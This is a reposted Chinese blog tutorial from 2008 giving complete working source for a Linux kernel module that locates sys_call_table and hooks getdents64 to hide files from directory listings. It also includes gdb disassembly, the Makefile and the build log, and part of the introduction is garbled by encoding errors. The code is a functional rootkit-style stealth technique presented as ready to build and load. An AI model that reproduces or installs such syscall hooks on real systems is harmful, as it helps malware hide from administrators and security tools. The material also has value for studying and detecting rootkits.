转自 widebright的个人空间
2008年08月12日 星期二
很久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇搿?总结一下吧。
1. 首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。
2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table
3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。
可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。
运行“strace ls” 可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。
4. 网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据等,设置调试断点等等。感兴趣的可以自己搜索一下。
5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。
6. Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个 winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便的。
具体的代码如下:
====================================================
#include
#include
#include
#include
//sys_read sys_open等系统调用函数
#include
#include
//flags e.g. O_RDWR , O_EXCL
#include
#include
#include
//get_ds() set_fs() get_fs()
#include
#include
#include //for kmalloc and kfree
/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到
sysenter call 和 system_call 的处理部分的源代码
-------------
# system call handler stub
ENTRY(system_call)
RING0_INT_FRAME # can't unwind into user space anyway
pushl %eax # save orig_eax
CFI_ADJUST_CFA_OFFSET 4
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4) 这里可以得到地址的位置
movl %eax,PT_EAX(%esp) # store the return value
syscall_exit:
LOCKDEP_SYS_EXIT
DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt
# setting need_resched or sigpending
-------------------------
可以看到最后都是跳转大到sys_call_table 指定的地址上去
arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置
set_system_gate(SYSCALL_VECTOR,&system_call);
这是设置0x80号中断为system_call 函数来处理的
在asm-x86/hw_irq_64.h 文件中有
#define IA32_SYSCALL_VECTOR 0x80
的定义
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ ls
arch crypto include kernel Makefile net scripts usr
block Documentation init lib mm README security virt
COPYING drivers ipc lost+found modules.order REPORTING-BUGS sound vmlinux
CREDITS fs Kbuild MAINTAINERS Module.symvers samples System.map vmlinux.o
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ gdb -q vmlinux
(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0104df0 : push %eax
0xc0104df1 : cld
0xc0104df2 : push %fs
0xc0104df4 : push %es
0xc0104df5 : push %ds
0xc0104df6 : push %eax
0xc0104df7 : push %ebp
0xc0104df8 : push %edi
0xc0104df9 : push %esi
0xc0104dfa : push %edx
0xc0104dfb : push %ecx
0xc0104dfc : push %ebx
0xc0104dfd : mov $0x7b,%edx
0xc0104e02 : mov %edx,%ds
0xc0104e04 : mov %edx,%es
0xc0104e06 : mov $0xd8,%edx
0xc0104e0b : mov %edx,%fs
0xc0104e0d : mov $0xffffe000,%ebp
0xc0104e12 : and %esp,%ebp
0xc0104e14 : testw $0xe1,0x8(%ebp)
0xc0104e1a : jne 0xc0104f40
0xc0104e20 : cmp $0x147,%eax
0xc0104e25 : jae 0xc0104fca
0xc0104e2b : call *-0x3fcde780(,%eax,4) 这里就是sys_call_table 的位置
0xc0104e32 : mov %eax,0x18(%esp)
0xc0104e36 : push %eax
0xc0104e37 : push %edi
0xc0104e38 : push %ecx
0xc0104e39 : push %edx
0xc0104e3a : call *%cs:0xc03ebd44
0xc0104e41 : pop %edx
0xc0104e42 : pop %ecx
0xc0104e43 : pop %edi
0xc0104e44 : pop %eax
0xc0104e45 : testl $0x100,0x34(%esp)
0xc0104e4d : je 0xc0104e53
0xc0104e4f : orl $0x8,0x8(%ebp)
(gdb) x/xw system_call+59
0xc0104e2b : 0x808514ff 下面就是通过查找这个指令来得到*sys_call_table 的值
(gdb) x/xw 0xc0104e2e
0xc0104e2e : 0xc0321880 这个即是sys_call_table 的值
*/
/*
extern void * sys_call_table[];
2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,
但你要确保这个System.map 是和当前的系统内核是对应的才行
root@widebright-desktop:/home/widebright/桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call
c0325520 R sys_call_table
运行时可以根据/proc/kallsyms 来得到正确的地址
root@widebright-desktop:/home/widebright/桌面/驱动学习# grep sysenter_entry /proc/kallsyms
c0104350 T sysenter_entry
croot@widebright-desktop:/home/widebright/桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table
c0325520 R sys_call_table
1。从 System.map 文件直接得到地址。
例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。
2。使用 nm 命令。
$nm vmlinuz |grep do_fork
3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件
$cat /proc/kallsyms |grep do_fork
4。使用 kallsyms_lookup_name() 例程。
这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。 kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如: kallsyms_lookup_name("do_fork");
*/
void ** sys_call_table; /*保存获取到的sys_call_table 指针*/
asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/
/*
struct linux_dirent64 {
u64 d_ino; //inode number
s64 d_off; // offset to next dirent ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?
unsigned short d_reclen; // length of this dirent
unsigned char d_type;
char d_name[0]; //filename (null-terminated)
};
*/
// 中断描述符表寄存器结构
struct _idtr{
unsigned short limit;
unsigned int base;
} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错
// 中断描述符表结构
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} __attribute__((packed));
/*通过0x80中断得到system_call 函数地址*/
void *get_system_call(void)
{
struct idt_descriptor * idt;
void *addr=NULL;
asm ("sidt %0" : "=m" (idtr));
idt = (void*)((unsigned long*)(idtr.base));
printk("idt : %x/n", (unsigned int)idt); //在virtualbox虚拟机上这个不能获取到正确的值
addr = (void*)(((unsigned int )idt[0x80].off_low) |
(((unsigned int)idt[0x80].off_high) << 16));
printk("system_call entry: %x/n", (unsigned int) addr);
//printk("size of _idtr: %d/n", sizeof(struct _idtr));
return addr;
}
/* 得到 sys_call_table 列表指针 */
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;
p = (unsigned char *) system_call;
/*
* 查找机器码得到 sys_call_table 的地址
* `call sys_call_table(, %eax, 4)`
*/
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
{
p++;
if (count++ > 500)
{
count = -1;
break;
}
}
if (count != -1)
{
p += 3;
s_c_t = *((unsigned long *) p);
}
else
s_c_t = 0;
return((void *) s_c_t);
}
/**
* 读取 /proc/kallsyms 文件,
* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0
root@widebright# cat /proc/kallsyms | grep sysenter_entry
c0104350 T sysenter_entry
*/
void * get_sysenter_entry(void)
{
void *sysenter_entry =NULL; /*保存获取到的sysenter_entry入口地址*/
mm_segment_t old_fs;
// int fd;
char line[256];
int i = 0;
struct file *file = NULL; //Stores information related to files opened by a process
//配置段寄存器ds segment register
//通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区
//因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他
//转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他
//才不会报错,专家的建议是尽量不要在内核中进行文件操作
old_fs = get_fs();
set_fs(get_ds());
// sys_open 和sys_read 说是不推荐使用了 ,
//fs/open.c 文件中有如下一句,
//EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */
//从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。
/* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。
fd = sys_open("/proc/kallsyms", O_RDONLY, 0);
if (fd >= 0)
{
while (sys_read(fd, &line[i], 1) == 1)
{
if (line[i] == '/n')
{
line[i] ='/0';
i=0;
//到这里时,line中保存一行数据
if (strstr(line,"sysenter_entry") != NULL)
{
sysenter_entry =(void *) simple_strtoul(line,NULL,16);
break;
}
}
if (i< 254)
{
i++;
}
}
sys_close(fd);
}
*/
file = filp_open("/proc/kallsyms",O_RDONLY,0);
if (file ==NULL) return NULL;
if (file->f_op->read ==NULL) return NULL;
//每次从文件中读取一个字节到 line里面,&file->f_pos 指定要开始读的位置,
//可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大
while ( file->f_op->read(file, &line[i], 1,&file->f_pos) == 1)
{
if (line[i] == '/n')
{
line[i] ='/0';
i=0;
//到这里时,line中保存一行数据
if (strstr(line,"sysenter_entry") != NULL)
{
sysenter_entry =(void *) simple_strtoul(line,NULL,16);
break;
}
}
if (i< 254)
{
i++;
}
}
filp_close(file,NULL);
set_fs(old_fs); //还原最初的fs
return sysenter_entry;
}
// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式
///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义
asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count)
{
unsigned int bufLength, recordLength, modifyBufLength;
struct linux_dirent64 * dirp2, *dirp3,
*head = NULL, //进行修改时,指向正确的列表的头条记录
*prev = NULL; //进行修改时,指向列表中上一项记录
char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/
bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/
//printk("bufLength:%u/n", bufLength);
if (bufLength <= 0 ) return bufLength ; //如果函数调用出错,直接返回好了
/*申请内核空间*/
dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);
if (!dirp2) return bufLength;
/* 把已经得到的文件夹信息从用户空间复制出来*/
if (copy_from_user(dirp2, dirp, bufLength) )
{
printk("fail to copy dirp to dirp2 /n");
return bufLength;
}
head = dirp2;
dirp3 = dirp2;
modifyBufLength = bufLength;
while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ bufLength))
{
recordLength = dirp3->d_reclen;
//printk("length:%u ",recordLength);
if ( recordLength == 0)
{
//有些文件系统getdents函数没能正确运行
break;
}
// 是否是我们要隐藏的文件
if (strncmp(dirp3->d_name, hide_file ,strlen(hide_file)) ==0)
{
if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件
{
head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);
modifyBufLength -= recordLength;
}
else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录
prev->d_reclen += recordLength;
memset(dirp3, 0, recordLength );
}
}
else
{
prev= dirp3;
}
//继续下一条记录查找
dirp3 = (struct linux_dirent64 *)
((char *) dirp3+ recordLength);
}
// 用我们修改后的文件信息覆盖原有用户空间的文件信息
copy_to_user (dirp, head, modifyBufLength);
kfree(dirp2);
return modifyBufLength;
}
int init_module(void)
{
/*
/usr/include/sys/syscall.h 有system call函数的号码定义 ,
也可以写作 SYS__getdents64 的,不过都是在# include 里面定义的宏
在/usr/include/asm/unistd.h 有system call函数的号码定义
#define __NR_getdents64 220
*/
void *s_call, *sysenter_entry;
//采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址
s_call = get_system_call();
if (s_call ==NULL) return (-1);
sys_call_table = get_sys_call_table(s_call);
printk("sys_call_table: 0x%08x/n", (int) sys_call_table);
//采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址
if (sys_call_table == NULL){
sysenter_entry=get_sysenter_entry();
printk("sysenter_entry: 0x%08x/n", (int) sysenter_entry);
if (sysenter_entry ==NULL) return (-1);
sys_call_table = get_sys_call_table(sysenter_entry);
printk("sys_call_table: 0x%08x/n", (int) sys_call_table);
if (sys_call_table ==NULL)
{
return(-1);
}
}
//检测获取到的地址是不是正确的,
if (sys_call_table[__NR_close] != (unsigned long *)sys_close)
{
printk("Incorrect sys_call_table address./n");
return -1;
}
//替换相关函数的调用地址表
orig_getdents64=sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64]=my_getdents64;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_getdents64]=orig_getdents64;
}
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Hide file Kernel Module");
MODULE_AUTHOR("widebright");
===================Makefile内容============================
# If KERNELRELEASE is defined, we've been invoked from the
# kernel build system and can use its language.
ifneq ($(KERNELRELEASE),)
obj-m := hook_system_call.o
# Otherwise we were called directly from the command
# line; invoke the kernel build system.
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KERNELDIR) M=$(PWD) clean
endif
===================================================
root@widebright-desktop:/home/widebright/桌面/驱动学习# make clean
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CLEAN /home/widebright/桌面/驱动学习/.tmp_versions
CLEAN /home/widebright/桌面/驱动学习/Module.symvers
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
root@widebright-desktop:/home/widebright/桌面/驱动学习# make
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/widebright/桌面/驱动学习/hook_system_call.mod.o
LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过